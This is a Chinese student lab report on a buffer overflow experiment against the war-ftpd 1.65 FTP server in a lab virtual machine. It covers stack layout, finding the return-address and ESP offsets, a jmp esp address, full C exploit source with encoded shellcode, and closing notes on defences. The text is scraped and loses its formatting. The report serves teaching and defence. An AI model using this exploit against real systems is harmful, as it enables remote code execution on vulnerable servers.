《网络攻击与防范实验报告(共8页).doc》由会员分享,可在线阅读,更多相关《网络攻击与防范实验报告(共8页).doc(8页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、精选优质文档-倾情为你奉上网络攻击与防范实验报告姓名:_ _ 学号:_ 所在班级: 实验名称: 缓冲区溢出实验 实验日期: 2014 年 11 月 9 日指导老师: 张玉清 实验评分: 验收评语: 实验目的:1、掌握缓冲区溢出的原理2、掌握常用的缓冲区溢出方法3、理解缓冲区溢出的危害性4、掌握防范和避免缓冲区溢出攻击的方法实验环境:主机系统:Windows8 x64位虚拟机系统:Windows XP(SP3)( IP:192.168.137.128)溢出对象:war-ftpd 1.65调试工具:CDB(Debugging Tools for Windows);开发环境:Visual Studi
2、o 2013开发语言:C语言缓冲区溢出原理:在metasploit中搜索war-ftp可以发现war-ftpd1.65在windows下有以下漏洞username overflow,也就是在用户使用user username这个指令时,如果username过长就会发生缓冲区溢出。 计算机在调用函数function(arg1,argm)时,函数栈的布局如图1所示,首先将函数的实参从右往左依次压栈,即argm,arg1。然后将函数返回地址RET压栈。这时EBP指向当前函数的基地址,ESP指向栈顶,将此时的EBP压栈,然后ESP的值赋给EBP,这样EBP就指向新的函数栈的基地址。调用函数后,再将局部
3、变量依次压栈,这时ESP始终指向栈顶。另外还有一个EIP寄存器,EIP中存放的是下一个要执行的指令的地址,程序崩溃时EIP的值就是RET。通过构造特殊的字符串,即两两都不相同的字符串,我们可以根据EIP的值定位RET的位置。知道了RET的位置以后,我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。为了方便我们找一个系统中现成的指令jmp esp来实现跳转。jmp esp指令在内存中的通用地址是0x7ffa4512,可以通过 CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。jmp esp将EIP指向了esp指向的位置,我们用定位RET的办法同样定位ESP指向
4、的位置,然后用shellcode替换这块字符串,这样计算机就会执行shellcode,从而实现攻击。当然,我们还可以用其他的指令,如jmp esi,同样得到jmp esi指令在系统内存中的地址,以及esi指向的内存,我们就可以执行shellcode。也可以使用多次跳转。图 1 函数栈的布局实验步骤:1、 测试漏洞是否存在1) 在虚拟机上用CDB将war-ftpd.exe挂起2) 使用主机与虚拟机上的war-ftpd建立连接ftp n open192.168.137.128user A*100003) 溢出成功,CDB捕获到war-ftpd异常,EIP被“AAAA”覆盖。ESP指向的位置也全是字
5、符A。2、 定位RET在字符串中的位置以及ESP指向的位置。1) 使用patternCreate构造1000个不一样字符构成的字符串2) 在虚拟机上用CDB将war-ftpd.exe挂起3) 再次使用主机与虚拟机上的war-ftpd建立连接ftp n open192.168.137.128user str不同字符的字符串4) 程序溢出,EIP=,ESP指向的位置中存放的是5) 利用patternOffset定位RET和ESP指向的位置,RET的相对位置是485,ESP的相对位置是4936) 构造字符串,编写攻击程序。3、 测试攻击程序,能够在虚拟机中弹出计算器框附:攻击程序源代码#includ
6、e stdafx.h#include #pragma comment(lib, ws2_32)int _tmain(int argc, _TCHAR* argv)char shellcode = xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49x49x49x49x49x49x49x49x37x49x49x49x49x51x5ax6ax42x58x50x30x41x31x42x41x6bx41x41x52x32x41x42x41x32x42x41x30x42x41x58x50x38x41x42x75x38x69x79x6cx4ax48x67x34x
7、47x70x77x70x53x30x6ex6bx67x35x45x6cx4cx4bx73x4cx74x45x31x68x54x41x68x6fx6cx4bx70x4fx57x68x6ex6bx71x4fx45x70x65x51x5ax4bx67x39x4cx4bx50x34x4cx4bx77x71x68x6ex75x61x4bx70x4ex79x6ex4cx4dx54x4bx70x72x54x65x57x69x51x49x5ax46x6dx37x71x6fx32x4ax4bx58x74x77x4bx41x44x44x64x35x54x72x55x7ax45x6cx4bx53x6fx51x34x
8、37x71x48x6bx51x76x4cx4bx76x6cx50x4bx6ex6bx71x4fx67x6cx37x71x68x6bx4cx4bx65x4cx4cx4bx64x41x58x6bx4bx39x53x6cx75x74x46x64x78x43x74x71x49x50x30x64x6ex6bx43x70x44x70x4cx45x4fx30x41x68x44x4cx4ex6bx63x70x44x4cx6ex6bx30x70x65x4cx4ex4dx6cx4bx30x68x75x58x7ax4bx35x59x4cx4bx4dx50x58x30x37x70x47x70x77x70x6cx4bx
9、65x38x57x4cx31x4fx66x51x48x76x65x30x70x56x4dx59x4ax58x6ex63x69x50x31x6bx76x30x55x38x5ax50x4ex6ax36x64x63x6fx61x78x6ax38x4bx4ex6cx4ax54x4ex76x37x6bx4fx4bx57x70x63x51x71x32x4cx52x43x37x70x42;char jumpesp = x12x45xfax7f ;WSADATA WSAData;char Buff1000, Recv1024;int nRet;struct sockaddr_in ipAddress;SOCK
10、ET s;if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)printf(- WSAStartup failed.n);WSACleanup();exit(1);s = socket(AF_INET, SOCK_STREAM, 0);ipAddress.sin_family = AF_INET;ipAddress.sin_addr.s_addr = inet_addr(192.168.137.128);ipAddress.sin_port = htons(21);try connect(s, (struct sockaddr *)&ipAddress,
11、 sizeof(ipAddress); catch (.)printf(connection error);memset(Buff, 0x41, sizeof(Buff) - 1);memcpy(&Buff485, jumpesp, sizeof(jumpesp) - 1);memcpy(&Buff493, shellcode, sizeof(shellcode) - 1);Buff493 + sizeof(shellcode) - 1 = 0;recv(s, Recv, sizeof(Recv), 0);sprintf(char *)Recv, user %srn, Buff);send(s
12、, (char *)Recv, strlen(char *)Recv), 0);return 0;实验体会:(遇到的问题及解决方法、收获和体会、提出防范此类缓冲区溢出漏洞的方法)1、 在做这次实验的时候几乎是把能碰到的问题都碰到了,因为以前对计算机内存的运行状况不是很了解,可没有用过metasploit,CDB这些工具,shellcode更是第一次听说,因此走了很多弯路,花了很长的时间才弄明白。下面列举一下我遇到的问题吧:1) 在做ccproxy.exe实验的时候字符串构造错了好几次,不先是发现少了ping后面的空格,后又发现没有rn命令不会执行。2) Shellcode不能执行,在网上找到了
13、很多的shellcode,但是能不能执行似乎是看运气,不过还好最后找到了一个能弹出计算器的。3) 在做war-ftpd的时候没有搞清楚esp指向的位置,受ccproxy的影响,想当然的以为应该是在字符串的第四个位置,后来才知道esp指向的位置是不固定的,在war-ftpd中应该是493的位置。2、 收获和体会通过这次实验了解了缓冲区溢出的基本原理和方法,学会了利用缓冲区溢出漏洞编写攻击程序。虽然刚开始的时候什么也不懂,遇到了很多的问题,让我感觉很挫败,但是最后能够把遇到的问题一个个的解决掉还是挺欣慰的。这次实验也让我体会到缓冲区溢出的危害之大,研究如何防止缓冲区溢出意义重大,同时能够找到软件的
14、缓冲区溢出漏洞并及时修复也是非常有意义的事情。3、 防范缓冲区溢出漏洞的方法防范缓冲区溢出的手段主要有四种:1) 开发能够检查程序中缓冲区溢出问题的软件,目前有很多帮助程序员查错的工具,如faultinjection等,但是这些工具并不能找到所有的缓冲区溢出漏洞,因此,还是需要程序员本身花更多的功夫检查自己编写的代码,尽量避免缓冲区溢出的问题。2) 把数据段地址空间不可执行,我们这次讨论的这种类型的缓冲区溢出中shellcode是放在数据段的,如果操作系统规定数据段不可执行,就可以避免这种漏洞。3) 数组边界检查,只要数组不能被溢出,溢出攻击也就无从谈起。这种方法不仅能避免这种类型的缓冲区溢出,还能保证及时没有了非执行缓冲区保护也不会发生溢出。目前也已经有了做数组边界检查的软件,如Compaq、JonesKelly、Purify等。4) 指针完整性检查。指针完整性检查是指在指针被引用之前检测它的改变,这样即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其他的缓冲区溢出方法就可以避免这种检测。但是这种方法在性能上有很大的优势,而且兼容性也很好。专心-专注-专业